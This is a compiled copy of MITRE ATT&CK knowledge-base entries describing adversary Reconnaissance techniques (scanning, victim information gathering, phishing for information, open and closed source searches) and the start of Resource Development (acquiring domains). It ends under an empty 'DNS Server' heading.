MITRE ATT&CK Documentation

14/4/2023

Elad Levi

Table of Content

What is MITRE ATT&CK?

MITRE ATT&CK® is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. With the creation of ATT&CK, MITRE is fulfilling its mission to solve problems for a safer world by bringing communities together to develop more effective Cybersecurity. It is a documented collection of information about the malicious behaviors advanced persistent threat (APT) groups have used at various stages in real-world cyberattacks.

Tactics

Tactics represent the "why" of an ATT&CK technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action. For example, an adversary may want to achieve credential access.

Reconnaissance

The adversary is trying to gather information they can use to plan future operations.

Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1595 - Active Scanning

Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).

.001 - Scanning IP Blocks

Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.

Adversaries may scan IP blocks in order to Gather Victim Network Information, such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).

.002 - Vulnerability Scanning

Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

These scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).

.003 - Wordlist Scanning
Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites).

For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website's pages and directories. This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force).

As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure. Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.

T1592 - Gather Victim Host Information
Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).

.001 – Hardware
Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).

.002 – Software
Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).

.003 – Firmware
Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).

.004 - Client Configurations
Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).

T1589 - Gather Victim Identity Information
Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).

.001 – Credentials
Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.

Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors. Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).

.002 - Email Addresses
Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.

Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Email addresses could also be enumerated via more active means (i.e. Active Scanning), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Email Accounts), and/or initial access (ex: Phishing or Brute Force via External Remote Services).

.003 - Employee Names
Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.

Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).

T1590 - Gather Victim Network Information

Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).

.001 - Domain Properties

Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).

.002 – DNS

Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.

Adversaries may gather this information in various ways, such as querying or otherwise collecting details via DNS/Passive DNS. DNS information may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Active Scanning), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).

.003 - Network Trust Dependencies

Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).

.004 - Network Topology
Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).

.005 - IP Addresses
Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).

.006 - Network Security Appliances
Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.

Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).

T1591 - Gather Victim Org Information

Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).

.001 - Determine Physical Locations

Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).

.002 - Business Relationships

Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization's business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).

.003 - Identify Business Tempo

Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization's business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)

.004 - Identify Roles

Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).

T1598 - Phishing for Information

Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code.

All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.

.001 - Spearphishing Service

Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.

.002 - Spearphishing Attachment

Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.

.003 - Spearphishing Link

Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site.

From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.

T1597 - Search Closed Sources

Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).

.001 - Threat Intel Vendors

Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.

Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).

.002 - Purchase Technical Data
Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim's infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).

T1596 - Search Open Technical Databases
Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.

Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).

.001 - DNS/Passive DNS
Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target's subdomains, mail servers, and other hosts.

Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire

Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).

.002 – WHOIS

Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.

Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).

.003 - Digital Certificates

Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.

Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).

.004 – CDNs

Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.

Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).

.005 - Scan Databases

Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.

Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).

T1593 - Search Open Websites/Domains
Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.

Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).

.001 - Social Media
Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).

.002 - Search Engines
Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).

Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).

.003 - Code Repositories
Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing).

Note: This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.

T1594 - Search Victim-Owned Websites

Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships.

Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing).

Resource Development

The adversary is trying to establish resources they can use to support operations.

Resource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1583 - Acquire Infrastructure

Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Additionally, botnets are available for rent or purchase.

Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.

.001 – Domains

Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute "IDN homograph attacks," creating visually similar lookalike domains used to deliver malware to victim machines.

Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.

Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.

.002 - DNS Server

